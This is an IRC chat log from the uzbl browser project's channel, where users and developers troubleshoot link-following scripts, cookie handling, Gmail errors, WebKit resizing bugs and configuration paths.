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13:52 < necronian> Is it possible to use modifier keys in key bindings?
13:52 < lysgaard> Dr-Horrible: Where did you put the line? Right after the else if..
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13:57 < Dr-Horrible> Right befor the closing }
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13:59 < Dr-Horrible> I pastebind it for you
13:59 < Dr-Horrible> http://pastebin.com/d77efe1a8
14:02 < lysgaard> Dr-Horrible: Thanks! =)
14:04 < Dr-Horrible> Did it work?
14:05 < Frots> Dr-Horrible: that looks very usable thanks!!
14:06 < Dr-Horrible> The red text stays in the bottom but you can type in the textbox
14:06 < Frots> yeah
14:06 < lysgaard> Dr-Horrible: Yes, it worked great. Now, it's just cosmetics, but is it possible to clean the input buffer from the statusbar buffer?
14:06 < Frots> what command gets passed to uzbl if you press esc?
14:06 < Frots> we would need that
14:06 < Frots> to clear it
14:06 < lysgaard> Yeah, ill look at my config
14:07 < Frots> its not in there iirc
14:07 < Dr-Horrible> nops
14:07 < Frots> hard coded
14:08 < lysgaard> That's really bad, I'd like to bind <Ctrl-c> to the same command as esc
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14:11 < scj> lysgaard: you can use 'keycmd' to change the statusbar content
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14:12 < lysgaard> scj: how do i use it?
14:12 < scj> lysgaard: uzbl.org/readme.php
14:14 < Dr-Horrible> new version with status bar emptying
14:14 < Dr-Horrible> http://pastebin.com/dab4b1ad
14:16 < scj> btw, linkfollow.js works pretty much like vimperators hint system
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14:19 < lysgaard> Dr-Horrible: Great, now it works just as you would expect :D
14:20 < lysgaard> Dr-Horrible: This will be added to the repo, right?
14:20 < Dr-Horrible> lysgaard: but I hear linkfollow.js is better, so I'm checking that out
14:20 < lysgaard> Dr-Horrible: Oh, newer tried it, is it newer?
14:20 < Dr-Horrible> lysgaard: No idea, I am no dev:P Maybe I will mail this to the mailing list if its better than linkfollow.js
14:20 < Dr-Horrible> no idea:P
14:20 < scj> i'm the author of linkfollow
14:21 < scj> so yeah, it's better :v
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14:23 < lysgaard> scj: Kay, cool. Is linkfollow ready to be used then?
14:24 < scj> lysgaard: I believe so
14:24 < scj> I've been using it for the last month or so and it works pretty well
14:26 < Dr-Horrible> scj: Can I have a look at you uzbl/config?
14:28 < scj> Dr-Horrible: sure. http://pastie.org/591454
14:30 < scj> it's pretty messy and uninteresting, though
14:31 < lysgaard> scj: How do i use the linkfollow.js. I've added the binds in my config
14:33 < scj> lysgaard: check the linkfollow.js header, it describes what needs configuring
14:34 < scj> note: it should be "set stylesheet_uri = file://$path"
14:36 < lysgaard> scj: That's what i did. Should the hints show up if i press f?
14:37 < scj> lysgaard: yes
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14:38 < lysgaard> I've adde the load_commit, bind f* and bind f_ lines, shouldn't that be it?
14:39 < scj> lysgaard: start it with uzbl --verbose, and you should see the line 'External JavaScript file .../linkfollow.js loaded'
14:39 < lysgaard> scj: Okay =)
14:41 < lysgaard> scj: Wow, quite a improvement from the other script. Got it working. Nice to see that it generates the hints only once!
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14:46 < lysgaard> scj: Would it be possible to change the generated hints from numbers to the home row on the keyboard?
14:47 < scj> lysgaard: I guess
14:47 < scj> or actually
14:47 < scj> no
14:47 < Dr-Horrible> You cant follow strings then
14:47 < lysgaard> scj: are the hints id a string or an int then?
14:49 < scj> lysgaard: how would the script know you are trying to match against the hint or the string?
14:51 < scj> lysgaard: I guess you could work it out somehow, but prefer the hinting to be as close to vimperator as possible so I don't get confused when switching between them
14:51 < lysgaard> scj: Em, i think you missunderstood me
14:52 < scj> lysgaard: probably
14:52 < lysgaard> scj: What i'm proposing would be a set of keys, other than the number keys, that the hints would be generated for. If you're a qwerty guy, asdfghjkl.
14:53 < lysgaard> instead of 1234567890. Just because the letterkeys are closer
14:54 < scj> lysgaard: yes. that much I understood
14:56 < lysgaard> scj: So that when i press f. Instead of hints saying eg 12, 5, 68, I get ad, g, kl. This way the key to press, to follow the hints would be closer
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15:03 < lysgaard> scj: offcource the keys has to be configurable, because of different keyboard layouts, but I think this would give the followlinks.js an edge over the vimperator number approach.
15:03 < Dr-Horrible> lysgaard: The problem with that is that the links also have text labels, the name of the links
15:04 < Dr-Horrible> lysgaard: If you change the numbers to letters that part won't work, and that is way faster then the numbers
15:05 < scj> it could probably be done, but would take a complete rewrite
15:05 < scj> more or less
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15:11 < lysgaard> Maybe I'll take a look at it one day. I'm not very adept at js though.
15:13 < scj> neither am I. linkfollow is my first attempt at writing js
15:14 < Dr-Horrible> scj: It would be nice that if there is only one link left, it clicks it automatically
15:14 < scj> Dr-Horrible: that's configurable in the script, you change a boolean var to true (or false)
15:15 < Dr-Horrible> scj: I didn't see the settings section, thanks
15:18 < lysgaard> scj: Is each hint IDed by an int?
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15:19 < scj> lysgaard: what do you mean by IDed?
15:20 < lysgaard> scj: I mean that to find the correct hint object, you lookup some datastructure by an number. That lookup then returns the hint object
15:22 < rob|> lysgaard: seen this one http://www.uzbl.org/wiki/configurable-jump  already?
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15:23 < lysgaard> rob|: I made it. But it's just a ugly hack. scjs script is much better
15:23 < rob|> ah, i see
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15:25 < scj> lysgaard: yes, it keeps a list of the current visible elements and filters it against the given string
15:27 < lysgaard> scj: Ah, and what input does the filter function take, a number?
15:28 < scj> lysgaard: it takes a matcher object, which splits the given string into an array of regexps which all must be match the content of the element
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15:43 < scj> lysgaard: if you get rid of the HintElements object and move it to HTMLElement.prototype, you probably could do it by adding the logic to Matcher.test()
15:45 < scj> actually, most of the stuff should be moved to HTMLElement.prototype
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15:55 < lysgaard> scj: Well, what i was thinking. I've benn looking at your script. And i can't say i feel i understand it completely. But at one point you lookup an array called items with a number parsed from a string. I guess this is the number entered by the user. If so, it should not be that hard to change the lookup of items to take strings, afterall all arrays in js are assoc arrays as far as I have understood, so they can take any index you want.
15:58 < scj> lysgaard: yes, but you will need to make the Matcher object aware of it, so it doesn't filter out elements when it doesn't find the transformed number string
16:00 < scj> lysgaard: so if you have a bunch of links on a page that all say 'CLICK ME', so you start by entering 'click' to filter out all the other links. the link you want gets the hint 'dh'. the Matcher object must be able to tell that entering ' dh' should be matched against the numbers
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16:04 < scj> also, when you actually follow the link, you will have to figure out what substring should match against the hint and what substring(s) should match against the element content
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16:31 < lysgaard> scj: Yeah. You have a much better understanding of how your script works than me. And I frankly don't have the time to hack on it now, as I'm moving towmorrow, but maybe some day later ;)
16:36 < Fatal_> yay, got it working with webkit 1.1.12, finally time to give uzbl a try
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18:05 < lysgaard> Is there any smooth scrolling support in webkit?
18:19 < mason-l> I'm not sure I understand how js scripts launched by uzbl get the arguments sent to them.
18:19 < mason-l> I'm looking at follow_numbers.js in particular.
18:20 < mason-l> Which is defined as: "bind fl* = script $HOME/.uzbl/scripts/follow_Numbers.js %s" and then I see line 222 in follow_numbers.js: followLinks('%s');
18:20 < mason-l> Is there some magic going on behind the scenes here?
18:21 < mason-l> What if i wanted to supply more than one argument to the script?
18:22 < N30N> mason-l: it's just a script replacement done before the code is evaluated
18:23 < mason-l> N30N, And if I legitimately needed that %s in the script?
18:23 < mason-l> Can you escape the substitution by using %%s ?
18:24 < N30N> mason-l: "%\s" should work
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18:24 < mason-l> Interesting.
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19:50 < pjackson> Is it possible to get the source code through the socket?
19:50 < pjackson> I mean, for the current page?
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19:53 < scj> pjackson: http://www.uzbl.org/wiki/uzblctrl-pl
19:53 < scj> it uzblctrl can be coaxed into doing it
19:54 < scj> or you can use socat
19:54 < scj> the provided uzblctrl only reads until the first "\n"
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19:56 < pjackson> Interesting hack...
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20:12 < holizz> I see what you did there. Sockets are really that useless? Amazing.
20:13 < holizz> Is there any reason we don't just replace uzblctrl.c with uzblctrl.pl?
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20:13 < scj> we should get rid of uzblctrl in favor of socat
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20:15 < scj> since then you'd just have to do 'echo js dumpHTML() | socat - unix-connect:$socket' and it just works
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20:18 < rob|> hmm, good point
20:20 < rob|> i guess we should provide uzblctrl.pl as an example and legacy bit but encourage the use of socat in the docs
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20:23 < scj> uzblctrl.pl was mostly meant as a simple perl socket example, not an actual uzblctrl replacement. no need to bundle it in the offical releases
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21:52 < Cheeseum> http://www.uzbl.org/bugs/index.php?do=details&task_id=85 has anyone looked into this bug?
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21:54 < holizz> Cheeseum, Most of us use Arch, which is still on 1.1.10. Expect it to get fixed very quicky when Arch pushes the updated build.
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22:20 < holizz> Haha. I knew it. Trying to look up _why on the Wikipedia: "we _why" ... nope, doesn't work.
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22:56 < stableable> hi all - can i ask has there been any work on http://www.uzbl.org/bugs/index.php?do=details&task_id=85 -- or what I can do on Debian to downgrade this package?  What's the solution in the long term?
22:59 < holizz> stableable, Most of us use Arch, which is still on 1.1.10. Expect it to get fixed very quicky when Arch pushes the updated build. And for Debian, look into APT pinning.
22:59 < stableable> Ah, right-o - I've heard of that at least.  thanks.  :)
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00:34 < wart___> hi.  i'm just trying to wrap my head around how flash works.  is there a command-line way via nc or tcpdump to figure out what the precise url is that is being streamed?  i.e. so I can close off uzbl and launch mplayer on that stream.
00:35 < wart___> i know that webkit/adobe dumps the current stream to /tmp/Flash*; but it'd be nice to close down both when watching a stream, since mplayer is more efficient on the memory.
00:41 < stableable> Look at gnash's wiki on youtube.
00:41 < stableable> They tell you how to do that.
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00:52 < cengztr> hi. as far as i understood uzbl doesnt't support ad-blocking. privoxy and bfilter are mentioned as alternatives. can anyone give me some feedback about his experiences with the tools. which one should i use?
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00:56 < bct> privoxy was easy to set up, and it seems to work ok.
00:56 < bct> never tried bfilter.
01:00 < cengztr> bct, thanx. i'll check privoxy than.
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10:37 < holizz> I've noticed an interesting behaviour of uzbl compared to other Web browsers. When you visit a link with a # component, some Web servers will return a 404. So what Firefox must be doing is requesting the URI without the # bit.
10:38 < holizz> I haven't encountered any specifications saying that that should be done, and as far as I can tell it's only IIS that does it, so I don't consider it to be a bug in uzbl.
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13:23 < Fatal_> gneh, am I retarded or doesn't flyspray allow attaching patches?
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16:06 < Dr-Horrible> Does anyone have a Link to a firefox useragent?
16:07 < DuClare> Do I have to google it for you? http://www.useragentstring.com/pages/Firefox/
16:08 < Dr-Horrible> thx!
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16:17 < N30N> holizz I haven't encountered any specifications saying that that should be done <--> http://tools.ietf.org/html/rfc3986#section-3.5
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16:26 < holizz> N30N, I think it's pretty safe to assume that IIS is buggy, as that's the only server it's happened with.
16:30 < N30N> holizz: true, but it still IMO it shouldn't be sent to the server (hence no request when you click a link with a fragment identifier to the current page)
16:31 < Dieterbe_> so what if you're on page#section and you want to reload?
16:31 < Dieterbe_> it should send a new request imho
16:32 < N30N> holizz: spec says.. the fragment identifier is separated from the rest of the URI prior to a dereference, and thus the identifying information within the fragment itself is dereferenced solely by the user agent
16:32 < holizz> I'd have thought WebKit would have handled that in load_uri, as it handles fragments when you click a link.
16:50 < N30N> Dieterbe_: of course, I mean going from page#foo to page#bar is handeled by the UA because the fragment identifier is not supposed to be sent to the server.
16:50 < N30N> but blaming M$ is always fun ;)
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17:30 < Vithon> I found some weird eraser in my room that looks like the uzbl raccoon. Should I be afraid?
17:32 < N30N> Vithon: the raccoon it a cat lol
17:32 < Vithon> Close enough.
17:32 < Vithon> :P
17:32 < N30N> s/it/is/
17:33 < Vithon> It looks more like the Minix raccoon. Which has to be a raccoon or cat that's been in some sort of accident.
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18:08 < descendent87> hi, been reading about uzbl on archforums. sounds really interesting so have installed (and read all docs) but still very confused about it
18:09 < Knirch> what confuses you?
18:09 < DuClare> The raccoon
18:10 < Knirch> alas, the racoon confuses everybody
18:11 < descendent87> first of all, I want to set config files to go to ~/.uzbl/config and data to go to ~/.uzbl/data where do I set this?
18:11 < descendent87> I have copied the config file from the examples to ~/.uzbl/config
18:11 < Knirch> that's the first thing you want to do? what's wrong with ~/.config/uzbl
18:12 < holizz> descendent87, You can use --config ~/.uzbl/config if you want to put it there. But uzbl will look in $XDG_CONFIG/uzbl by default.
18:12 < descendent87> will leave it as that then, not really sure why i wanted it in .uzbl
18:13 < descendent87> suppose the main question is, how do i change url? or do i need a script for this?
18:13 < holizz> If you copy/paste the default config, type "o foobar.com" and hit enter.
18:14 < descendent87> so copy the config to ~/.config/uzbl/config
18:14 < mason-l> descendent87, I've made a symbolic link ~/.uzbl that points to ~/.config/uzbl
18:15 < scj> a lot of the scripts rely on the XDG vars, so not using them can lead to problem
18:16 < descendent87> yeah i've left it as .config/uzbl will be easier
18:17 < descendent87> in the config it has history.sh download.sh etc in .config/uzbl/scripts/ do I need to download these or are they included?
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18:19 < scj> all scripts in the sample config should be included
18:19 < mason-l> descendent87, Those scripts need to be in $XDG_DATA_HOME/uzbl/ which defaults to ~/.local/share/uzbl/
18:19 < mason-l> then the scripts folder
18:19 < mason-l> descendent87, You can find the example scripts in /usr/share/uzbl/examples/data/uzbl/scripts/ (from memory)
18:22 < descendent87> ah found them all, thanks.two more questions (although one is a pekwm question, but maybe someone can help) how can I set uzbl so when I middle on a link it opens in a new window? and does anyone know how I would set pekwm to automatically group all uzbl windows together?
18:29 < rob|> descendent87: for the former question http://www.uzbl.org/wiki/middle_click_links
18:30 < descendent87> thanks, will ask the other question on arch forums as will probably have more luck. right now i've got the basics I guess it's time to re-read the docs and try and figure stuff out. Thanks
18:33 < descendent87> hmm 1 more quick question. when I go to myspace it seem's to think it's a mobile device (forwards me to the mobile.myspace.com, seems to happen on most webkit browsers) any way to change this (except for editing the useragent)
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18:53 < holizz> Knirch, I tried your patch for WebKit .12's resizing "feature". It appears you added scrollbars.
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19:10 < holizz> Knirch, I see the problem. GTK_POLICY_NEVER means it resizes, rather than scrolls. Oh dear.
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20:14 < N30N> holizz: scrollbars can always be hidden via css (if your thinking it's a problem)
20:18 < holizz> N30N, I don't think they can be. These are Gtk*Scrollbars.
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20:19 < N30N> holizz: have you tried?
20:19 < holizz> overflow: none, right?
20:19 < N30N> holizz: yup
20:19 < N30N> no html { overflow: hidden; }
20:20 < N30N> s/no/no,/
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20:23 < holizz> Hmm. That seems to work.
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20:23 < holizz> I didn't know webkitgtk could do that.
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20:25 < scj> it should work on all css enabled browsers
20:26 < holizz> It was more the fiddling with the scrollbars that I didn't know it could do.
20:27 < holizz> Knirch_, You got an email address I can add to your --author info, for the benefit of git?
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20:38 < Cheeseum> html { overflow: hidden; } seems to not let me scroll the page at all
20:41 < Cheeseum> overflow-y and overflow-x work fine though
20:47 < holizz> overflow-x/y don't work for me. They don't scroll like with overflow: hidden.
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20:49 < Cheeseum> whatever works I guess
20:49 < holizz> Neither of them work.
20:51 < N30N> oh crap I forgot about that, ff was the same, try this http://bbs.archlinux.org/viewtopic.php?pid=466855#p466855 ;)
20:52 < N30N> errmm
20:52 < N30N> that ain going to work lol
20:53 < Cheeseum> er just setting overflow-x or overflow-y works, but not both at the same time
20:54 < holizz> You can still scroll if you select some text and drag...
20:54 < Cheeseum> http://webkit.org/blog/363/styling-scrollbars/
20:56 < N30N> holizz: do arrow keys work (they work differnet from to uzbl binds), and what about scrollwheel?
20:56 < N30N> Cheeseum: oh good thinking :)
20:56 < Cheeseum> ::-webkit-scrollbar { display:none; } seems to work
20:56 < holizz> N30N, Arrow keys and binds don't work. Wouldn't know about scrollwheel in this configuration.
20:58 < holizz> We have a winrar.
20:58 < Cheeseum> one million theoretical dollars to be deposisted into my theoretical internet bank account?
21:00 < holizz> !dd if=/dev/monays of=/home/Cheeseum bs=1k count=1k
21:00 < uzblbot`> holizz: Error: "dd" is not a valid command.
21:00 < holizz> lol
21:00 < holizz> I'd forgotten about the bot.
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21:08 < holizz> RE this: http://www.uzbl.org/bugs/index.php?do=details&task_id=86 I think it might be an idea to take clear_keycmd() out of load_start_cb, and let people put 'keycmd ' in their start_commit_handlers. Good/bad idea?
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21:31 < holizz> Lots of these tickets in flyspray are WebKit bugs.
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00:33 < N30N> new script: http://www.uzbl.org/wiki/pan
00:41 < holizz> Usage needs "script" in there.
00:42 < N30N> holizz: oh yeah :)
00:43 < holizz> Now we can make uzblie, a pre-configured uzbl to look and feel just like IE but without all the rendering bugs and lack of features.
00:44 < holizz> Even uzbl -c /dev/null has more features than IE.
00:45 < N30N> yeah it's crazy how far behind IE still is.
00:48 < scj> oh hey, ie6 is 8 years old on the 27th
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01:16 < holizz> scj, It always amazes me how long Microsoft leaves between releases. Apple have a new feline every year it seems, so it's not just the free software world that's on shorter cycles.
01:17 < holizz> Anyway. I had some fun, made lots of commits. So I can go to sleep satisfied.
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01:18 < scj> well, ie6 did defeat netscape so it lost it's release cycle
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02:21 < Dr-Horrible> Is the reason for the $
02:22 < Dr-Horrible> Is the reason for the #500 error on gmail known?
02:22 < Dr-Horrible> Its way easier to use with a keyboard then the old html one....
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02:28 < Gentooer> gmail works fine here
02:29 < Dr-Horrible> Also the new one? No errors marking mails as read?
02:29 < Gentooer> yes, new and old
02:29 < Gentooer> no, i've been using the new version for several weeks and everything works as expected
02:29 < L29Ah> Dr-Horrible: i have the same trouble
02:29 < Dr-Horrible> That sucks, I wonder why it doesn't work here...
02:30 < Gentooer> i'm using uzbl from the experimental branch..
02:30 < L29Ah> it was the reason for me to finally switch to mutt :)
02:30 < L29Ah> me too
02:30 < Gentooer> i also have cookies and history disabled at the moment
02:30 < Dr-Horrible> I switch back from mutt, I don't get whats so great about it
02:30 < Gentooer> not sure if that matters
02:31 < Dr-Horrible> Ill try that
02:31 < Gentooer> yeah i could never give up gmail :)
02:32 < Dr-Horrible> without cookies it works
02:32 < Dr-Horrible> But I can't live without cookies:*
02:32 < Dr-Horrible> :(
02:33 < Gentooer> i heard there was a new improved cookie handler, have you tried that?
02:33 < Dr-Horrible> I have to choose between cookies and pretty gmail:(
02:33 < Dr-Horrible> Yeah, the cookie_daemon
02:33 < Gentooer> and cookies still work. they just don't survive after closing uzbl
02:34 < Dr-Horrible> Yeah, then I have to login each time, I'm too lazy for that
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03:24 < axedcode> does anyone have a script that removes stale fifos/sockets?
03:25 < axedcode> i have a shitload of them piling up :)
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09:30 < Knirch_> holizz: thomas@unixangst.com
09:33 < holizz> Knirch_, Let's be naughty now and delete the branch from github and push it again. Hopefully nobody's pulled from me yet.
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10:07 < hatori> heya, anyone else having problems with unexpectedly closing connections when using privoxy?
10:07 < hatori> or missing images or css
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12:06 < Dieterbe> good morning
12:07 < Frots> hi there Dieterbe
12:07 < DuClare> o/
12:07 < Dieterbe> just back from froscon, germany
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12:09 < Frots> hajd fun?
12:09 < Dieterbe> http://archlinux.me/brain0/2009/08/22/hello-from-froscon-2009/ <-- look at the screen on the left. it shows uzbl hehe :P there were actually some people talking and asking questions about it
12:09 < Dieterbe> yeah it was great
12:09 < DuClare> meat uzblies?
12:10 < DuClare> Black sheep
12:11 < hatori> well i just can't get privoxy to play right with uzbl :S
12:11 < DuClare> Wish I could've been there :x
12:12 < N30N_> arch users are a ugly bunch lol
12:12 < Frots> hah
12:13 < jelly12gen> Dieterbe: you are the one on the right right ?
12:13 < DuClare> So it says
12:13 < jelly12gen> nevermind
12:13 < jelly12gen> !nerds
12:13 < uzblbot> jelly12gen: Error: "nerds" is not a valid command.
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12:13 < jelly12gen> i was the most suprised with the woman
12:13 < DuClare> I was the most surprised about the dog
12:14 < jelly12gen> haaha
12:14 < Dieterbe> thanks for the compliments
12:14 < jelly12gen> np
12:15 < jelly12gen> i am still just switching , betwoon FF , uzbl
12:15 < jelly12gen> thinking of midori
12:15 < jelly12gen> but actually i should talk the vimperator devs into uzbl :D
12:15 < Dr-Horrible> I only use firefox for the tmobile-nl site. Cant login because flash is always on top
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12:55 < scj> jelly12gen: good luck with that, I'm pretty sure they prefer the xpcom
12:55 < dunz0r> I use firefox for 2 or 3 sites that doesn't work very well with uzbl
12:55 < frots> I dont use firefox anymore
12:55 < frots> just uzbl
12:56 < frots> and chromium for gmail other webapps
12:58 < dunz0r> hmm. maybe I should try chromium
12:58 < dunz0r> I'm sick of firefox
12:58 < dunz0r> it sucks arse
12:58 < frots> chromium is nice and tight
12:58 < frots> just no flashplayer
12:58 < frots> but i dont need that for gmail
12:59 < dunz0r> I don't use the gmail-page
12:59 < frots> ah ok
12:59 < frots> i really like it
12:59 < dunz0r> I use mutt instead :D
13:00 < frots> but i use more google apps
13:00 < dunz0r> I use googledocs a bit though
13:00 < frots> and uzbl doesnt do nice on other web apps
13:01 < dunz0r> any secret tips on how to integrate uzbl really good with awesome btw?
13:04 < holizz> dunz0r, There's a page on the wiki under scripts.
13:05 < dunz0r> yeah. did that one
13:05 < dunz0r> thought more about some clever windowmanaging rules or something
13:06 < dunz0r> been working on opening a new uzbl-window with the current xselection as well
13:08 < scj> holizz: in your favicon script, wouldn't be better to query uzbl for the icon variable instead of parsing through the config file?
13:08 < jelly12gen> dunz0r: that's easy
13:08 < jelly12gen> in XMonad i do that in two lines
13:09 < scj> s/wouldn't be/wouldn't it be/
13:09 < holizz> scj, If you query uzbl as to what its icon is the first time, it'll return what's in the config file, but the second time it'll be the favicon you set the last time.
13:11 < scj> so why not use two vars, default_icon and icon?
13:11 < holizz> That could be done.
13:12 < holizz> But you'd need to set the icon twice in the config file.
13:19 < dunz0r> http://ruskie.codemages.net/albums/misc/uzbl.png <- how is this thing with the "tabs" on the side done?
13:19 < dunz0r> is it just a hacked uzbl-tabbed?
13:19 < mason-l> dunz0r, I can help :)
13:19 < scj> dunz0r: that's what the image says
13:20 < scj> 'right side tab config'
13:20 < mason-l> dunz0r, I'll write the config for you
13:21 < ruskie> dunz0r, gtk+2 tabs :)
13:21 < dunz0r> ahaa.
13:21 < dunz0r> nooo don't write it for me :)
13:21 < mason-l> dunz0r, Add this to your uzbl config http://dpaste.com/84525/
13:21 < dunz0r> ooo. is it that is easy :)
13:21 < dunz0r> nice :)
13:21 < mason-l> dunz0r, Too late but you can research it for yourself on http://www.uzbl.org/wiki/uzbl_tabbed
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13:22 < mason-l> Full list of options: http://www.uzbl.org/wiki/uzbl_tabbed#configuration
13:23 < sman> hey,  how do you add vimperator-like anchor numbering (example screenshot http://www.uzbl.org/wiki/_detail/rob_uzbl001.png?id=shots)
13:23 < scj> sman: linkfollow.js
13:24 < sman> scj: ok thanks - is it on uzbl.com somewhere? do you have a link to it?
13:24 < scj> you should have it in your example script folder
13:24 < scj> check the file header for what needs to be configured
13:25 < sman> scj: ok
13:25 < scj> sman: the stylesheet_uri var needs 'file://' prepended to the path
13:26 < sman> scj: ah so file:// /usr/share/uzbl/examples/data/style.css
13:26 < sman> oops
13:26 < sman> you get the idea
13:27 < scj> yes
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13:40 < mason-l> So what does the internal webkit cookie handler do that none of our external handlers/daemons do? (i.e. why does gmail work when not using an external daemon/handler)
13:40 < mason-l> And how can we fix it.
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13:58 < holizz> mason-l, See my cookiejar_handler branch.
13:59 < holizz> But Gmail works for me.
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14:09 < mason-l> holizz, gmail works for you normally?
14:10 < mason-l> holizz, And what is it about the c cookie daemon in that branch that supposedly makes it work?
14:10 < holizz> mason-l, Well, apart from the AJAX failing.
14:10 < mason-l> Gah
14:10 < holizz> But the AJAX failing is something to do with the bug that Facebook has, right?
14:11 < mason-l> Thats my issue then, I was just parroting other people when they were blaming the cookie handling for the problems.
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14:11 < holizz> It's possible that it's the cookie handler, I guess.
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14:18 < mason-l> holizz, Well I've just tried it, all I know is that gmail works fine (the ajax that is) when I use the internal cookie handler.
14:19 < mason-l> No #500 errors.
14:22 < scj> it would help if there was some way to figure out wtf error #500 means
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14:23 < mason-l> I do get a few console error messages when using gmail like: console message:  @1: Refused to set unsafe header "Connection"
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14:23 < mason-l> And another: console message: https://mail.google.com/mail/?ui=2&view=js&name=js&ver=pfaTqM_LL3c.en_GB.&am=!liuRxbQmQhMKgt2Xo9wTxB5Q @695: SyntaxError: Parse error
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14:30 < scj> how forthcoming are google regarding new browsers? has anyone tried contacting them asking for some documentation?
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17:51 < axedcode> hey guys...surfraw doesnt work with the uzbl config anymore
17:52 < scj> how so?
17:52 < axedcode> the commands given in uzbl config just return the surfraw help. i'm wondering if the syntax changed
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17:53 < axedcode> no longer can i type \g googlesearch
17:55 < axedcode> or any predefined surfraw command in the config
17:55 < axedcode> i didnt change anything
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18:14 < axedcode> : $4: ambiguous redirect
18:14 < scj> axedcode: that's probably stale fifos
18:14 < scj> close all uzbls and clear your fifo_dir
18:15 < axedcode> that worked. anyway script available to only clear stale fifos?
18:17 < scj> axedcode: this wrapper script should take care of avoiding it in the future http://dpaste.com/84664/
18:18 < scj> unless you have some scripts that rely on the -n switch, I guess
18:20 < axedcode> interesting. thanks scj
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18:29 < scj> can someone put that script on the wiki? I've forgotten my uzbl wiki pw
18:31 < axedcode> theres a bug with that script
18:31 < scj> wat
18:32 < axedcode> i just launched it from dmenu and it keeps spawning uzbl instances...cpu is at 100% with hundreds of uzbls
18:32 < scj> did you name the script uzbl?
18:35 < axedcode> d'oh
18:35 < Knirch_> :D
18:35 < axedcode> i forgot to edit it
18:35  * axedcode is stupid as fuck
18:35 < axedcode> almost fork bombed myself there
18:36 < Frots> lol
18:36 < axedcode> glad i made your day :D i luckily caught it before swap was full :)
18:37 < Knirch_> scj: you might want to use rm -f and don't hide error messages
18:37 < Knirch_> (rm -f won't complain on non existing files, but will output permission errors)
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18:38 < scj> Knirch: in reality, you can most likely ignore the rm line, since the chances of you creating two fifos with the same name is pretty small
18:39 < axedcode> unless you click like mad like me and its during the same second
18:39 < axedcode> alread yran into that :)
18:40 < scj> axedcode: add nanonseconds to the date format
18:41 < axedcode> btw what is md5sum for...why not just datestamp?
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18:44 < scj> to not make it a datestamp :v
18:45 < axedcode> heh
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19:15 < Dieterbe> axedcode: you mean the sha1 sums in git?
19:16 < axedcode> no i mean scj's script
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19:25 < Dieterbe> ah. i didn't look at it
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19:37 < mittagessen> hiho
19:38 < mittagessen> I've experienced some weird behavior in uzbl
19:38 < mittagessen> maybe one of you guys can help me
19:38 < holizz> I imagine we can, unless it's a bug in WebKit.
19:39 < mittagessen> I have absolutely no idea where the problem is
19:39 < scj> what is the problem?
19:39 < mittagessen> when I visit certain sites the uzbl window resizes itself
19:40 < holizz> Aha. That's been fixed... but it's not been merged into Dietrebe/experimental yet.
19:40 < holizz> Have you checked it out with git?
19:40 < mittagessen> a few days ago from experimental
19:40 < rob|_> holizz: oh, where is that fix?
19:40 < mittagessen> is it normal that I can't even scroll when that happens?
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19:41 < holizz> git remote add holizz git://github.com/holizz/uzbl.git; git fetch holizz; git checkout holizz/bugfixes
19:41 < mittagessen> in which developer branch is this bug fixed?
19:41 < mittagessen> oh ok
19:41 < rob|> ah, alright read you message to the ML but must have missed that fixed
19:41 < rob|> -ed
19:42 < holizz> rob|, Yeah, I fixed a lot of bugs in that branch.
19:42 < mittagessen> nice
19:42 < mittagessen> thanks
19:42 < mittagessen> now uzbl is my standard browser again ^^
19:42 < holizz> mittagessen, It's a new feature in WebKit .12, and most of us are still on .10 or .8.
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19:44 < mittagessen> auto-resize is a new feature?
19:44 < scj> apparently :/
19:44 < mittagessen> god I would call it a bug
19:45 < mittagessen> why would you need something like that?
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19:45 < scj> it's pretty osx-ish, I guess
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19:46 < mittagessen> I mean it's really annoying because my screen is only 1024*768
19:46 < asdfhurh> hey, I am going to try and use a greasemonkey script for uzbl, is there any easy way to ensure that it only runs on certian domains?
19:47 < asdfhurh> What I am thinking is making a check in the actual javascript and then load it on every page
19:48 < scj> asdfhurh: using load_commit_handler to run 'script foo.js' works sort of like gm, except you don't have the GM_* stuff, so ajaxy mashups won't work
19:48 < asdfhurh> scj: yes, but load_commit_handler doesn't have something to specify what urls to run it on does it?
19:49 < scj> asdfhurh: no, but load_commit_handler can run a script that does stuff depending on the url
19:49 < asdfhurh> scj: yeah that is what I was suspecting
19:49 < mittagessen> nice now everything works well again
19:49 < mittagessen> except that I have scrollars now
19:49 < mittagessen> scrollbars
19:50 < asdfhurh> scj: are you on reddit? there is an account but no comments or submissions
19:50 < holizz> mittagessen, Look in examples/data/uzbl/style.css
19:50 < mittagessen> ah ok
19:50 < scj> asdfhurh: nope, that's not me
19:51 < mittagessen> I think it was kind of naive to assume that my config was finished.
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19:59 < rob|> btw, got a funny uzbl shot for you: http://omploader.org/vMjdqNg
19:59 < rob|> ;)
20:00 < bct> is that a tiling wm in windows?
20:00 < rob|> no, manual tiling ;)
20:01 < bct> awww :(
20:01 < holizz> I take it that's running in an VM or on another computer?
20:01 < rob|> it's running on another computer with X11 forwading (cygwin's X server)
20:02 < holizz> Aha. Have you tried compiling it in cygwin?
20:02 < rob|> nope, not yet
20:03 < Allive> 2 rob|, what is this red arrow in your status bar ?
20:03 < scj> must be a pain to get all the deps
20:03 < holizz> Oh, I see Microsoft still haven't figured out how to make resizing stop when you drag against another window, or the side of the screen.
20:04 < rob|> Allive: it's a unicode arrow char
20:05 < Allive> and what does it mean ?
20:05 < rob|> that's where i enter commands/uris
20:06 < Allive> oh, understand
20:08 < mittagessen> damn the window is still resizing
20:09 < holizz> mittagessen, orly? You did make install and everything?
20:09 < mittagessen> jup
20:11 < mittagessen> forget it
20:12 < mittagessen> I found the mistake
20:13 < ruskie> it's possible to find a tilling WM on win iirc
20:15 < rob|> yeah, there are a few though those are light years away from true tiling WMs
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20:42 < jelly12gen> but not cool ones
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22:38 < Dieterbe> rob|> btw, got a funny uzbl shot for you: http://omploader.org/vMjdqNg <-- omg :P
22:39 < Dieterbe> rob|: i got a "shot" for you too: http://dev.archlinux.org/~roman/froscon01.jpg
22:39 < jelly12gen> NOWAI
22:40 < jelly12gen> Dieterbe: how :O
22:40 < Dieterbe> what?
22:40 < jelly12gen> uzbl on windows
22:40 < Dieterbe> i distantiate myself from that one :P
22:40 < Dieterbe> the first one was just a quote
22:41 < jelly12gen> ok
22:41 < jelly12gen> but it's possible
22:42 < MichaelRaskin> It is an X server window..
22:42 < MichaelRaskin> rob|: it's running on another computer with X11 forwading (cygwin's X server)
22:42 < jelly12gen> pfft
22:42 < MichaelRaskin> jelly12gen, there is always coLinux
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22:42 < jelly12gen> hmm yeah
22:42 < jelly12gen> ok but it's not the real thing
22:44 < Dieterbe> the real thing == running uzbl on some unix variant
